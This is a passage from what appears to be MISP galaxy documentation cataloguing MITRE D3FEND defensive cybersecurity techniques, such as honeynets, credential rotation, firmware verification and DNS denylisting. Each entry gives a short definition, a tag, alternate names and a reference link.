Network Traffic Community Deviation

Establishing baseline communities of network hosts and identifying statistically divergent inter-community communication.

The tag is: *misp-galaxy:mitre-d3fend="Network Traffic Community Deviation"*

Table 9492. Table References

Links

https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation

Inbound Session Volume Analysis

Analyzing inbound network session or connection attempt volume.

The tag is: *misp-galaxy:mitre-d3fend="Inbound Session Volume Analysis"*

Table 9493. Table References

Links
https://d3fend.mitre.org/technique/d3f:InboundSessionVolumeAnalysis

Kernel-based Process Isolation

Using kernel-level capabilities to isolate processes.

The tag is: *misp-galaxy:mitre-d3fend="Kernel-based Process Isolation"*

Table 9494. Table References

Links
https://d3fend.mitre.org/technique/d3f:Kernel-basedProcessIsolation

RPC Traffic Analysis

Monitoring the activity of remote procedure calls in communication traffic to establish standard protocol operations and potential attacker activities.

The tag is: *misp-galaxy:mitre-d3fend="RPC Traffic Analysis"*

RPC Traffic Analysis is also known as:

- RPC Protocol Analysis

Table 9495. Table References

Links
https://d3fend.mitre.org/technique/d3f:RPCTrafficAnalysis

Restore Database

Restoring the data in a database.

The tag is: *misp-galaxy:mitre-d3fend="Restore Database"*

Table 9496. Table References

Links

https://d3fend.mitre.org/technique/d3f:RestoreDatabase

Decoy Persona

Establishing a fake online identity to misdirect, deceive, and or interact with adversaries.

The tag is: *misp-galaxy:mitre-d3fend="Decoy Persona"*

Table 9497. Table References

Links
https://d3fend.mitre.org/technique/d3f:DecoyPersona

Stack Frame Canary Validation

Comparing a value stored in a stack frame with a known good value in order to prevent or detect a memory segment overwrite.

The tag is: *misp-galaxy:mitre-d3fend="Stack Frame Canary Validation"*

Table 9498. Table References

Links
https://d3fend.mitre.org/technique/d3f:StackFrameCanaryValidation

Hardware Component Inventory

Hardware component inventorying identifies and records the hardware items in the organization's architecture.

The tag is: *misp-galaxy:mitre-d3fend="Hardware Component Inventory"*

Hardware Component Inventory is also known as:

- Hardware Component Discovery
- Hardware Component Inventorying

Table 9499. Table References

Links
https://d3fend.mitre.org/technique/d3f:HardwareComponentInventory

Data Inventory

Data inventorying identifies and records the schemas, formats, volumes, and locations of data stored and used on the organization's architecture.

The tag is: *misp-galaxy:mitre-d3fend="Data Inventory"*

Data Inventory is also known as:

- Data Discovery
- Data Inventorying

Table 9500. Table References

Links
https://d3fend.mitre.org/technique/d3f:DataInventory

Script Execution Analysis

Analyzing the execution of a script to detect unauthorized user activity.

The tag is: *misp-galaxy:mitre-d3fend="Script Execution Analysis"*

Table 9501. Table References

Links
https://d3fend.mitre.org/technique/d3f:ScriptExecutionAnalysis

TPM Boot Integrity

Assuring the integrity of a platform by demonstrating that the boot process starts from a trusted combination of hardware and software and continues until the operating system has fully booted and applications are running. Sometimes called Static Root of Trust Measurement (STRM).

The tag is: *misp-galaxy:mitre-d3fend="TPM Boot Integrity"*

TPM Boot Integrity is also known as:

- STRM
- Static Root of Trust Measurement

Table 9502. Table References

Links
https://d3fend.mitre.org/technique/d3f:TPMBootIntegrity

Local Account Monitoring

Analyzing local user accounts to detect unauthorized activity.

The tag is: *misp-galaxy:mitre-d3fend="Local Account Monitoring"*

Table 9503. Table References

Links

https://d3fend.mitre.org/technique/d3f:LocalAccountMonitoring

IO Port Restriction

Limiting access to computer input/output (IO) ports to restrict unauthorized devices.

The tag is: *misp-galaxy:mitre-d3fend="IO Port Restriction"*

Table 9504. Table References

Links
https://d3fend.mitre.org/technique/d3f:IOPortRestriction

Email Removal

The email removal technique deletes email files from system storage.

The tag is: *misp-galaxy:mitre-d3fend="Email Removal"*

Email Removal is also known as:

- Email Deletion

Table 9505. Table References

Links
https://d3fend.mitre.org/technique/d3f:EmailRemoval

Dynamic Analysis

Executing or opening a file in a synthetic "sandbox" environment to determine if the file is a malicious program or if the file exploits another program such as a document reader.

The tag is: *misp-galaxy:mitre-d3fend="Dynamic Analysis"*

Dynamic Analysis is also known as:

- Malware Detonation
- Malware Sandbox

Table 9506. Table References

Links
https://d3fend.mitre.org/technique/d3f:DynamicAnalysis

Memory Boundary Tracking

Analyzing a call stack for return addresses which point to unexpected memory locations.

The tag is: *misp-galaxy:mitre-d3fend="Memory Boundary Tracking"*

Table 9507. Table References

Links
https://d3fend.mitre.org/technique/d3f:MemoryBoundaryTracking

Database Query String Analysis

Analyzing database queries to detect [SQL Injection](https://capec.mitre.org/data/definitions/66.html).

The tag is: *misp-galaxy:mitre-d3fend="Database Query String Analysis"*

Table 9508. Table References

Links
https://d3fend.mitre.org/technique/d3f:DatabaseQueryStringAnalysis

File Content Analysis

Employing a pattern matching algorithm to statically analyze the content of files.

The tag is: *misp-galaxy:mitre-d3fend="File Content Analysis"*

Table 9509. Table References

Links
https://d3fend.mitre.org/technique/d3f:FileContentAnalysis

Configuration Inventory

Configuration inventory identifies and records the configuration of software and hardware and their components throughout the organization.

The tag is: *misp-galaxy:mitre-d3fend="Configuration Inventory"*

Table 9510. Table References

Links
https://d3fend.mitre.org/technique/d3f:ConfigurationInventory

Endpoint Health Beacon

Monitoring the security status of an endpoint by sending periodic messages with health status, where absence of a response may indicate that the endpoint has been compromised.

The tag is: *misp-galaxy:mitre-d3fend="Endpoint Health Beacon"*

Endpoint Health Beacon is also known as:

- Endpoint Health Telemetry

Table 9511. Table References

Links
https://d3fend.mitre.org/technique/d3f:EndpointHealthBeacon

Sender Reputation Analysis

Ascertaining sender reputation based on information associated with a message (e.g. email/instant messaging).

The tag is: *misp-galaxy:mitre-d3fend="Sender Reputation Analysis"*

Table 9512. Table References

Links
https://d3fend.mitre.org/technique/d3f:SenderReputationAnalysis

Restore Network Access

Restoring a entity's access to a computer network.

The tag is: *misp-galaxy:mitre-d3fend="Restore Network Access"*

Table 9513. Table References

Links
https://d3fend.mitre.org/technique/d3f:RestoreNetworkAccess

Standalone Honeynet

An environment created for the purpose of attracting attackers and eliciting their behaviors that is not connected to any production enterprise systems.

The tag is: *misp-galaxy:mitre-d3fend="Standalone Honeynet"*

Table 9514. Table References

Links
https://d3fend.mitre.org/technique/d3f:StandaloneHoneynet

Hierarchical Domain Denylisting

Blocking the resolution of any subdomain of a specified domain name.

The tag is: *misp-galaxy:mitre-d3fend="Hierarchical Domain Denylisting"*

Hierarchical Domain Denylisting is also known as:

- Hierarchical Domain Blacklisting

Table 9515. Table References

Links
https://d3fend.mitre.org/technique/d3f:HierarchicalDomainDenylisting

Session Duration Analysis

Analyzing the duration of user sessions in order to detect unauthorized activity.

The tag is: *misp-galaxy:mitre-d3fend="Session Duration Analysis"*

Table 9516. Table References

Links
https://d3fend.mitre.org/technique/d3f:SessionDurationAnalysis

Scheduled Job Analysis

Analysis of source files, processes, destination files, or destination servers associated with a scheduled job to detect unauthorized use of job scheduling.

The tag is: *misp-galaxy:mitre-d3fend="Scheduled Job Analysis"*

Scheduled Job Analysis is also known as:

- Scheduled Job Execution

Table 9517. Table References

Links
https://d3fend.mitre.org/technique/d3f:ScheduledJobAnalysis

Operational Risk Assessment

Operational risk assessment identifies and models the vulnerabilities of, and risks to, an organization's activities individually and as a whole.

The tag is: *misp-galaxy:mitre-d3fend="Operational Risk Assessment"*

Operational Risk Assessment is also known as:

- Mission Risk Assessment

Table 9518. Table References

Links

https://d3fend.mitre.org/technique/d3f:OperationalRiskAssessment

Credential Rotation

Expiring an existing set of credentials and reissuing a new valid set

The tag is: *misp-galaxy:mitre-d3fend="Credential Rotation"*

Table 9519. Table References

Links
https://d3fend.mitre.org/technique/d3f:CredentialRotation

System File Analysis

Monitoring system files such as authentication databases, configuration files, system logs, and system executables for modification or tampering.

The tag is: *misp-galaxy:mitre-d3fend="System File Analysis"*

Table 9520. Table References

Links
https://d3fend.mitre.org/technique/d3f:SystemFileAnalysis

Authentication Cache Invalidation

Removing tokens or credentials from an authentication cache to prevent further user associated account accesses.

The tag is: *misp-galaxy:mitre-d3fend="Authentication Cache Invalidation"*

Table 9521. Table References

Links
https://d3fend.mitre.org/technique/d3f:AuthenticationCacheInvalidation

Client-server Payload Profiling

Comparing client-server request and response payloads to a baseline profile to identify outliers.

The tag is: *misp-galaxy:mitre-d3fend="Client-server Payload Profiling"*

Table 9522. Table References

Links
https://d3fend.mitre.org/technique/d3f:Client-serverPayloadProfiling

Byte Sequence Emulation

Analyzing sequences of bytes and determining if they likely represent malicious shellcode.

The tag is: *misp-galaxy:mitre-d3fend="Byte Sequence Emulation"*

Byte Sequence Emulation is also known as:

- Shellcode Transmission Detection

Table 9523. Table References

Links
https://d3fend.mitre.org/technique/d3f:ByteSequenceEmulation

Shadow Stack Comparisons

Comparing a call stack in system memory with a shadow call stack maintained by the processor to determine unauthorized shellcode activity.

The tag is: *misp-galaxy:mitre-d3fend="Shadow Stack Comparisons"*

Table 9524. Table References

Links
https://d3fend.mitre.org/technique/d3f:ShadowStackComparisons

Identifier Reputation Analysis

Analyzing the reputation of an identifier.

The tag is: *misp-galaxy:mitre-d3fend="Identifier Reputation Analysis"*

Table 9525. Table References

Links
https://d3fend.mitre.org/technique/d3f:IdentifierReputationAnalysis

Restore File

Restoring a file for an entity to access.

The tag is: *misp-galaxy:mitre-d3fend="Restore File"*

Table 9526. Table References

Links
https://d3fend.mitre.org/technique/d3f:RestoreFile

Organization Mapping

Organization mapping identifies and models the people, roles, and groups with an organization and the relations between them.

The tag is: *misp-galaxy:mitre-d3fend="Organization Mapping"*

Table 9527. Table References

Links
https://d3fend.mitre.org/technique/d3f:OrganizationMapping

Account Locking

The process of temporarily disabling user accounts on a system or domain.

The tag is: *misp-galaxy:mitre-d3fend="Account Locking"*

Table 9528. Table References

Links
https://d3fend.mitre.org/technique/d3f:AccountLocking

System Call Filtering

Configuring a kernel to use an allow or deny list to filter kernel api calls.

The tag is: *misp-galaxy:mitre-d3fend="System Call Filtering"*

Table 9529. Table References

Links
https://d3fend.mitre.org/technique/d3f:SystemCallFiltering

File Hashing

Employing file hash comparisons to detect known malware.

The tag is: *misp-galaxy:mitre-d3fend="File Hashing"*

Table 9530. Table References

Links
https://d3fend.mitre.org/technique/d3f:FileHashing

Sender MTA Reputation Analysis

Characterizing the reputation of mail transfer agents (MTA) to determine the security risk in emails.

The tag is: *misp-galaxy:mitre-d3fend="Sender MTA Reputation Analysis"*

Table 9531. Table References

Links
https://d3fend.mitre.org/technique/d3f:SenderMTAReputationAnalysis

Firmware Verification

Cryptographically verifying firmware integrity.

The tag is: *misp-galaxy:mitre-d3fend="Firmware Verification"*

Table 9532. Table References

Links
https://d3fend.mitre.org/technique/d3f:FirmwareVerification

Exception Handler Pointer Validation

Validates that a referenced exception handler pointer is a valid exception handler.

The tag is: *misp-galaxy:mitre-d3fend="Exception Handler Pointer Validation"*

Exception Handler Pointer Validation is also known as:

- Exception Handler Validation

Table 9533. Table References

Links
https://d3fend.mitre.org/technique/d3f:ExceptionHandlerPointerValidation

Remote Terminal Session Detection

Detection of an unauthorized remote live terminal console session by examining network traffic to a network host.

The tag is: *misp-galaxy:mitre-d3fend="Remote Terminal Session Detection"*

Table 9534. Table References

Links
https://d3fend.mitre.org/technique/d3f:RemoteTerminalSessionDetection

User Data Transfer Analysis

Analyzing the amount of data transferred by a user.

The tag is: *misp-galaxy:mitre-d3fend="User Data Transfer Analysis"*

Table 9535. Table References

Links
https://d3fend.mitre.org/technique/d3f:UserDataTransferAnalysis

Passive Certificate Analysis

Collecting host certificates from network traffic or other passive sources like a certificate transparency log and analyzing them for unauthorized activity.

The tag is: *misp-galaxy:mitre-d3fend="Passive Certificate Analysis"*

Table 9536. Table References

Links
https://d3fend.mitre.org/technique/d3f:PassiveCertificateAnalysis

Process Segment Execution Prevention

Preventing execution of any address in a memory region other than the code segment.

The tag is: *misp-galaxy:mitre-d3fend="Process Segment Execution Prevention"*

Process Segment Execution Prevention is also known as:

- Execute Disable
- No Execute

Table 9537. Table References

Links
https://d3fend.mitre.org/technique/d3f:ProcessSegmentExecutionPrevention

Credential Revoking

Deleting a set of credentials permanently to prevent them from being used to authenticate.

The tag is: *misp-galaxy:mitre-d3fend="Credential Revoking"*

Table 9538. Table References

Links
https://d3fend.mitre.org/technique/d3f:CredentialRevoking

Access Modeling

Access modeling identifies and records the access permissions granted to administrators, users, groups, and systems.

The tag is: *misp-galaxy:mitre-d3fend="Access Modeling"*

Table 9539. Table References

Links
https://d3fend.mitre.org/technique/d3f:AccessModeling

Driver Load Integrity Checking

Ensuring the integrity of drivers loaded during initialization of the operating system.

The tag is: *misp-galaxy:mitre-d3fend="Driver Load Integrity Checking"*

Table 9540. Table References

Links
https://d3fend.mitre.org/technique/d3f:DriverLoadIntegrityChecking

Domain Name Reputation Analysis

Analyzing the reputation of a domain name.

The tag is: *misp-galaxy:mitre-d3fend="Domain Name Reputation Analysis"*

Table 9541. Table References

Links
https://d3fend.mitre.org/technique/d3f:DomainNameReputationAnalysis

System Configuration Permissions

Restricting system configuration modifications to a specific user or group of users.

The tag is: *misp-galaxy:mitre-d3fend="System Configuration Permissions"*

Table 9542. Table References

Links
https://d3fend.mitre.org/technique/d3f:SystemConfigurationPermissions

File Integrity Monitoring

Detecting any suspicious changes to files in a computer system.

The tag is: *misp-galaxy:mitre-d3fend="File Integrity Monitoring"*

Table 9543. Table References

Links
https://d3fend.mitre.org/technique/d3f:FileIntegrityMonitoring

File Carving

Identifying and extracting files from network application protocols through the use of network stream reassembly software.

The tag is: *misp-galaxy:mitre-d3fend="File Carving"*

Table 9544. Table References

Links
https://d3fend.mitre.org/technique/d3f:FileCarving

Executable Denylisting

Blocking the execution of files on a host in accordance with defined application policy rules.

The tag is: *misp-galaxy:mitre-d3fend="Executable Denylisting"*

Executable Denylisting is also known as:

- Executable Blacklisting

Table 9545. Table References

Links
https://d3fend.mitre.org/technique/d3f:ExecutableDenylisting

Connected Honeynet

A decoy service, system, or environment, that is connected to the enterprise network, and simulates or emulates certain functionality to the network, without exposing full access to a production system.

The tag is: *misp-galaxy:mitre-d3fend="Connected Honeynet"*

Table 9546. Table References

Links
https://d3fend.mitre.org/technique/d3f:ConnectedHoneynet

User Account Permissions

Restricting a user account's access to resources.

The tag is: *misp-galaxy:mitre-d3fend="User Account Permissions"*

Table 9547. Table References

Links
https://d3fend.mitre.org/technique/d3f:UserAccountPermissions

Process Code Segment Verification

Comparing the "text" or "code" memory segments to a source of truth.

The tag is: *misp-galaxy:mitre-d3fend="Process Code Segment Verification"*

Table 9548. Table References

Links
https://d3fend.mitre.org/technique/d3f:ProcessCodeSegmentVerification

Certificate Pinning

Persisting either a server's X.509 certificate or their public key and comparing that to server's presented identity to allow for greater client confidence in the remote server's identity for SSL connections.

The tag is: *misp-galaxy:mitre-d3fend="Certificate Pinning"*

Table 9549. Table References

Links
https://d3fend.mitre.org/technique/d3f:CertificatePinning

DNS Allowlisting

Permitting only approved domains and their subdomains to be resolved.

The tag is: *misp-galaxy:mitre-d3fend="DNS Allowlisting"*

DNS Allowlisting is also known as:

- DNS Whitelisting

Table 9550. Table References

Links
https://d3fend.mitre.org/technique/d3f:DNSAllowlisting

Integrated Honeynet

The practice of setting decoys in a production environment to entice interaction from attackers.

The tag is: *misp-galaxy:mitre-d3fend="Integrated Honeynet"*

Table 9551. Table References

Links
https://d3fend.mitre.org/technique/d3f:IntegratedHoneynet

RF Shielding

Adding physical barriers to a platform to prevent undesired radio interference.

The tag is: *misp-galaxy:mitre-d3fend="RF Shielding"*

Table 9552. Table References

Links
https://d3fend.mitre.org/technique/d3f:RFShielding

System Call Analysis

Analyzing system calls to determine whether a process is exhibiting unauthorized behavior.

The tag is: *misp-galaxy:mitre-d3fend="System Call Analysis"*

Table 9553. Table References

Links
https://d3fend.mitre.org/technique/d3f:SystemCallAnalysis

Peripheral Firmware Verification

Cryptographically verifying peripheral firmware integrity.

The tag is: *misp-galaxy:mitre-d3fend="Peripheral Firmware Verification"*

Table 9554. Table References

Links
https://d3fend.mitre.org/technique/d3f:PeripheralFirmwareVerification

Network Traffic Policy Mapping

Network traffic policy mapping identifies and models the allowed pathways of data at the network, tranport, and/or application levels.

The tag is: *misp-galaxy:mitre-d3fend="Network Traffic Policy Mapping"*

Network Traffic Policy Mapping is also known as:

- DLP Policy Mapping
- Firewall Mapping
- IPS Policy Mapping
- Web Security Gateway Policy Mapping

Table 9555. Table References

Links
https://d3fend.mitre.org/technique/d3f:NetworkTrafficPolicyMapping

IP Reputation Analysis

Analyzing the reputation of an IP address.

The tag is: *misp-galaxy:mitre-d3fend="IP Reputation Analysis"*

Table 9556. Table References

Links
https://d3fend.mitre.org/technique/d3f:IPReputationAnalysis

Reverse Resolution Domain Denylisting

Blocking a reverse DNS lookup's answer's domain name value.

The tag is: *misp-galaxy:mitre-d3fend="Reverse Resolution Domain Denylisting"*

Reverse Resolution Domain Denylisting is also known as:

- Reverse Resolution Domain Blacklisting

Table 9557. Table References

Links
https://d3fend.mitre.org/technique/d3f:ReverseResolutionDomainDenylisting

Executable Allowlisting

Using a digital signature to authenticate a file before opening.

The tag is: *misp-galaxy:mitre-d3fend="Executable Allowlisting"*

Executable Allowlisting is also known as:

- File Signature Authentication

Table 9558. Table References

Links
https://d3fend.mitre.org/technique/d3f:ExecutableAllowlisting

Decoy User Credential

A Credential created for the purpose of deceiving an adversary.

The tag is: *misp-galaxy:mitre-d3fend="Decoy User Credential"*

Table 9559. Table References

Links
https://d3fend.mitre.org/technique/d3f:DecoyUserCredential

Active Physical Link Mapping

Active physical link mapping sends and receives network traffic as a means to map the physical layer.

The tag is: *misp-galaxy:mitre-d3fend="Active Physical Link Mapping"*

Active Physical Link Mapping is also known as:

- Active Physical Layer Mapping

Table 9560. Table References

Links
https://d3fend.mitre.org/technique/d3f:ActivePhysicalLinkMapping

System Daemon Monitoring

Tracking changes to the state or configuration of critical system level processes.

The tag is: *misp-galaxy:mitre-d3fend="System Daemon Monitoring"*

Table 9561. Table References

Links
https://d3fend.mitre.org/technique/d3f:SystemDaemonMonitoring

URL Analysis

Determining if a URL is benign or malicious by analyzing the URL or its components.

The tag is: *misp-galaxy:mitre-d3fend="URL Analysis"*

Table 9562. Table References

Links
https://d3fend.mitre.org/technique/d3f:URLAnalysis

Active Certificate Analysis

Actively collecting PKI certificates by connecting to the server and downloading its server certificates for analysis.

The tag is: *misp-galaxy:mitre-d3fend="Active Certificate Analysis"*

Table 9563. Table References

Links
https://d3fend.mitre.org/technique/d3f:ActiveCertificateAnalysis

User Session Init Config Analysis

Analyzing modifications to user session config files such as .bashrc or .bash_profile.

The tag is: *misp-galaxy:mitre-d3fend="User Session Init Config Analysis"*

User Session Init Config Analysis is also known as:

- User Startup Config Analysis

Table 9564. Table References

Links
https://d3fend.mitre.org/technique/d3f:UserSessionInitConfigAnalysis

Emulated File Analysis

Emulating instructions in a file looking for specific patterns.

The tag is: *misp-galaxy:mitre-d3fend="Emulated File Analysis"*

Table 9565. Table References

Links
https://d3fend.mitre.org/technique/d3f:EmulatedFileAnalysis

Homoglyph Detection

Comparing strings using a variety of techniques to determine if a deceptive or malicious string is being presented to a user.

The tag is: *misp-galaxy:mitre-d3fend="Homoglyph Detection"*

Table 9566. Table References

Links
https://d3fend.mitre.org/technique/d3f:HomoglyphDetection

Pointer Authentication

Comparing the cryptographic hash or derivative of a pointer's value to an expected value.

The tag is: *misp-galaxy:mitre-d3fend="Pointer Authentication"*

Table 9567. Table References

Links
https://d3fend.mitre.org/technique/d3f:PointerAuthentication

Bootloader Authentication

Cryptographically authenticating the bootloader software before system boot.

The tag is: *misp-galaxy:mitre-d3fend="Bootloader Authentication"*

Bootloader Authentication is also known as:

- Secure Boot

Table 9568. Table References

Links
https://d3fend.mitre.org/technique/d3f:BootloaderAuthentication

Restore Email

Restoring an email for an entity to access.

The tag is: *misp-galaxy:mitre-d3fend="Restore Email"*

Table 9569. Table References

Links
https://d3fend.mitre.org/technique/d3f:RestoreEmail

Broadcast Domain Isolation

Broadcast isolation restricts the number of computers a host can contact on their LAN.

The tag is: *misp-galaxy:mitre-d3fend="Broadcast Domain Isolation"*

Broadcast Domain Isolation is also known as:

- Network Segmentation

Table 9570. Table References

Links
https://d3fend.mitre.org/technique/d3f:BroadcastDomainIsolation

Credential Transmission Scoping

Limiting the transmission of a credential to a scoped set of relying parties.

The tag is: *misp-galaxy:mitre-d3fend="Credential Transmission Scoping"*

Credential Transmission Scoping is also known as:

- Phishing Resistant Authentication

Table 9571. Table References

Links
https://d3fend.mitre.org/technique/d3f:CredentialTransmissionScoping

Process Suspension

Suspending a running process on a computer system.

The tag is: *misp-galaxy:mitre-d3fend="Process Suspension"*

Table 9572. Table References

Links
https://d3fend.mitre.org/technique/d3f:ProcessSuspension

Domain Account Monitoring

Monitoring the existence of or changes to Domain User Accounts.

The tag is: *misp-galaxy:mitre-d3fend="Domain Account Monitoring"*

Table 9573. Table References

Links
https://d3fend.mitre.org/technique/d3f:DomainAccountMonitoring

URL Reputation Analysis

Analyzing the reputation of a URL.

The tag is: *misp-galaxy:mitre-d3fend="URL Reputation Analysis"*

Table 9574. Table References

Links
https://d3fend.mitre.org/technique/d3f:URLReputationAnalysis

Message Authentication

Authenticating the sender of a message and ensuring message integrity.

The tag is: *misp-galaxy:mitre-d3fend="Message Authentication"*

Table 9575. Table References

Links
https://d3fend.mitre.org/technique/d3f:MessageAuthentication

Transfer Agent Authentication

Validating that server components of a messaging infrastructure are authorized to send a particular message.

The tag is: *misp-galaxy:mitre-d3fend="Transfer Agent Authentication"*

Table 9576. Table References

Links
https://d3fend.mitre.org/technique/d3f:TransferAgentAuthentication

Network Traffic Filtering

Restricting network traffic originating from any location.

The tag is: *misp-galaxy:mitre-d3fend="Network Traffic Filtering"*

Table 9577. Table References

Links
https://d3fend.mitre.org/technique/d3f:NetworkTrafficFiltering

Biometric Authentication

Using biological measures in order to authenticate a user.

The tag is: *misp-galaxy:mitre-d3fend="Biometric Authentication"*

Table 9578. Table References

Links

https://d3fend.mitre.org/technique/d3f:BiometricAuthentication

File Hash Reputation Analysis

Analyzing the reputation of a file hash.

The tag is: *misp-galaxy:mitre-d3fend="File Hash Reputation Analysis"*

Table 9579. Table References

Links
https://d3fend.mitre.org/technique/d3f:FileHashReputationAnalysis

Protocol Metadata Anomaly Detection

Collecting network communication protocol metadata and identifying statistical outliers.

The tag is: *misp-galaxy:mitre-d3fend="Protocol Metadata Anomaly Detection"*

Table 9580. Table References

Links
https://d3fend.mitre.org/technique/d3f:ProtocolMetadataAnomalyDetection

Process Spawn Analysis

Analyzing spawn arguments or attributes of a process to detect processes that are unauthorized.

The tag is: *misp-galaxy:mitre-d3fend="Process Spawn Analysis"*

Table 9581. Table References

Links
https://d3fend.mitre.org/technique/d3f:ProcessSpawnAnalysis

Multi-factor Authentication

Requiring proof of two or more pieces of evidence in order to authenticate a user.

The tag is: *misp-galaxy:mitre-d3fend="Multi-factor Authentication"*

Table 9582. Table References

Links
https://d3fend.mitre.org/technique/d3f:Multi-factorAuthentication

Decoy Public Release

Issuing publicly released media to deceive adversaries.

The tag is: *misp-galaxy:mitre-d3fend="Decoy Public Release"*

Table 9583. Table References

Links
https://d3fend.mitre.org/technique/d3f:DecoyPublicRelease

Administrative Network Activity Analysis

Detection of unauthorized use of administrative network protocols by analyzing network activity against a baseline.

The tag is: *misp-galaxy:mitre-d3fend="Administrative Network Activity Analysis"*

Table 9584. Table References

Links
https://d3fend.mitre.org/technique/d3f:AdministrativeNetworkActivityAnalysis

Restore User Account Access

Restoring a user account's access to resources.

The tag is: *misp-galaxy:mitre-d3fend="Restore User Account Access"*

Table 9585. Table References

Links
https://d3fend.mitre.org/technique/d3f:RestoreUserAccountAccess

Reverse Resolution IP Denylisting

Blocking a reverse lookup based on the query's IP address value.

The tag is: *misp-galaxy:mitre-d3fend="Reverse Resolution IP Denylisting"*

Reverse Resolution IP Denylisting is also known as:

- Reverse Resolution IP Blacklisting

Table 9586. Table References

Links
https://d3fend.mitre.org/technique/d3f:ReverseResolutionIPDenylisting

Input Device Analysis

Operating system level mechanisms to prevent abusive input device exploitation.

The tag is: *misp-galaxy:mitre-d3fend="Input Device Analysis"*

Table 9587. Table References

Links
https://d3fend.mitre.org/technique/d3f:InputDeviceAnalysis

Reissue Credential

Issue a new credential to a user which supercedes their old credential.

The tag is: *misp-galaxy:mitre-d3fend="Reissue Credential"*

Table 9588. Table References

Links
https://d3fend.mitre.org/technique/d3f:ReissueCredential

Host Shutdown

Initiating a host's shutdown sequence to terminate all running processes.

The tag is: *misp-galaxy:mitre-d3fend="Host Shutdown"*

Table 9589. Table References

Links
https://d3fend.mitre.org/technique/d3f:HostShutdown

Data Exchange Mapping

Data exchange mapping identifies and models the organization's intended design for the flows of the data types, formats, and volumes between systems at the application layer.

The tag is: *misp-galaxy:mitre-d3fend="Data Exchange Mapping"*

Data Exchange Mapping is also known as:

- Data Flow Mapping
- Information Exchange Mapping

Table 9590. Table References

Links
https://d3fend.mitre.org/technique/d3f:DataExchangeMapping

Process Self-Modification Detection

Detects processes that modify, change, or replace their own code at runtime.

The tag is: *misp-galaxy:mitre-d3fend="Process Self-Modification Detection"*

Table 9591. Table References

Links
https://d3fend.mitre.org/technique/d3f:ProcessSelf-ModificationDetection

Passive Logical Link Mapping

Passive logical link mapping only listens to network traffic as a means to map the the whole data link layer, where the links represent logical data flows rather than physical connections.

The tag is: *misp-galaxy:mitre-d3fend="Passive Logical Link Mapping"*

Passive Logical Link Mapping is also known as:

- Passive Logical Layer Mapping

Table 9592. Table References

Links
https://d3fend.mitre.org/technique/d3f:PassiveLogicalLinkMapping

One-time Password

A one-time password is valid for only one user authentication.

The tag is: *misp-galaxy:mitre-d3fend="One-time Password"*

One-time Password is also known as:

- OTP

Table 9593. Table References

Links
https://d3fend.mitre.org/technique/d3f:One-timePassword

Service Binary Verification

Analyzing changes in service binary files by comparing to a source of truth.

The tag is: *misp-galaxy:mitre-d3fend="Service Binary Verification"*

Table 9594. Table References

Links
https://d3fend.mitre.org/technique/d3f:ServiceBinaryVerification

Dead Code Elimination

Removing unreachable or "dead code" from compiled source code.

The tag is: *misp-galaxy:mitre-d3fend="Dead Code Elimination"*

Table 9595. Table References

Links
https://d3fend.mitre.org/technique/d3f:DeadCodeElimination

Hardware-based Process Isolation

Preventing one process from writing to the memory space of another process through hardware based address manager implementations.

The tag is: *misp-galaxy:mitre-d3fend="Hardware-based Process Isolation"*

Hardware-based Process Isolation is also known as:

- Virtualization

Table 9596. Table References

Links
https://d3fend.mitre.org/technique/d3f:Hardware-basedProcessIsolation

Domain Trust Policy

Restricting inter-domain trust by modifying domain configuration.

The tag is: *misp-galaxy:mitre-d3fend="Domain Trust Policy"*

Table 9597. Table References

Links
https://d3fend.mitre.org/technique/d3f:DomainTrustPolicy

Forward Resolution IP Denylisting

Blocking a DNS lookup’s answer’s IP address value.

The tag is: *misp-galaxy:mitre-d3fend="Forward Resolution IP Denylisting"*

Forward Resolution IP Denylisting is also known as:

- Forward Resolution IP Blacklisting

Table 9598. Table References

Links
https://d3fend.mitre.org/technique/d3f:ForwardResolutionIPDenylisting

Container Image Analysis

Analyzing a Container Image with respect to a set of policies.

The tag is: *misp-galaxy:mitre-d3fend="Container Image Analysis"*

Container Image Analysis is also known as:

- Container Image Scanning

Table 9599. Table References

Links
https://d3fend.mitre.org/technique/d3f:ContainerImageAnalysis

Active Logical Link Mapping

Active logical link mapping sends and receives network traffic as a means to map the whole data link layer, where the links represent logical data flows rather than physical connection

The tag is: *misp-galaxy:mitre-d3fend="Active Logical Link Mapping"*

Table 9600. Table References

Links
https://d3fend.mitre.org/technique/d3f:ActiveLogicalLinkMapping

Mandatory Access Control

Controlling access to local computer system resources with kernel-level capabilities.

The tag is: *misp-galaxy:mitre-d3fend="Mandatory Access Control"*

Table 9601. Table References

Links
https://d3fend.mitre.org/technique/d3f:MandatoryAccessControl

System Firmware Verification

Cryptographically verifying installed system firmware integrity.

The tag is: *misp-galaxy:mitre-d3fend="System Firmware Verification"*

Table 9602. Table References

Links
https://d3fend.mitre.org/technique/d3f:SystemFirmwareVerification

File Creation Analysis

Analyzing the properties of file create system call invocations.

The tag is: *misp-galaxy:mitre-d3fend="File Creation Analysis"*

Table 9603. Table References

Links
https://d3fend.mitre.org/technique/d3f:FileCreationAnalysis

System Init Config Analysis

Analysis of any system process startup configuration.

The tag is: *misp-galaxy:mitre-d3fend="System Init Config Analysis"*

System Init Config Analysis is also known as:

- Autorun Analysis
- Startup Analysis

Table 9604. Table References

Links
https://d3fend.mitre.org/technique/d3f:SystemInitConfigAnalysis

Passive Physical Link Mapping

Passive physical link mapping only listens to network traffic as a means to map the physical layer.

The tag is: *misp-galaxy:mitre-d3fend="Passive Physical Link Mapping"*

Passive Physical Link Mapping is also known as:

- Passive Physical Layer Mapping

Table 9605. Table References

Links
https://d3fend.mitre.org/technique/d3f:PassivePhysicalLinkMapping

Process Lineage Analysis

Identification of suspicious processes executing on an end-point device by examining the ancestry and siblings of a process, and the associated metadata of each node on the tree, such as process execution, duration, and order relative to siblings and ancestors.

The tag is: *misp-galaxy:mitre-d3fend="Process Lineage Analysis"*

Process Lineage Analysis is also known as:

- Process Tree Analysis

Table 9606. Table References

Links
https://d3fend.mitre.org/technique/d3f:ProcessLineageAnalysis

Homoglyph Denylisting

Blocking DNS queries that are deceptively similar to legitimate domain names.

The tag is: *misp-galaxy:mitre-d3fend="Homoglyph Denylisting"*

Homoglyph Denylisting is also known as:

- Homoglyph Blacklisting

Table 9607. Table References

Links
https://d3fend.mitre.org/technique/d3f:HomoglyphDenylisting

File Content Rules

Employing a pattern matching rule language to analyze the content of files.

The tag is: *misp-galaxy:mitre-d3fend="File Content Rules"*

File Content Rules is also known as:

- File Content Signatures
- File Signatures

Table 9608. Table References

Links
https://d3fend.mitre.org/technique/d3f:FileContentRules

Inbound Traffic Filtering

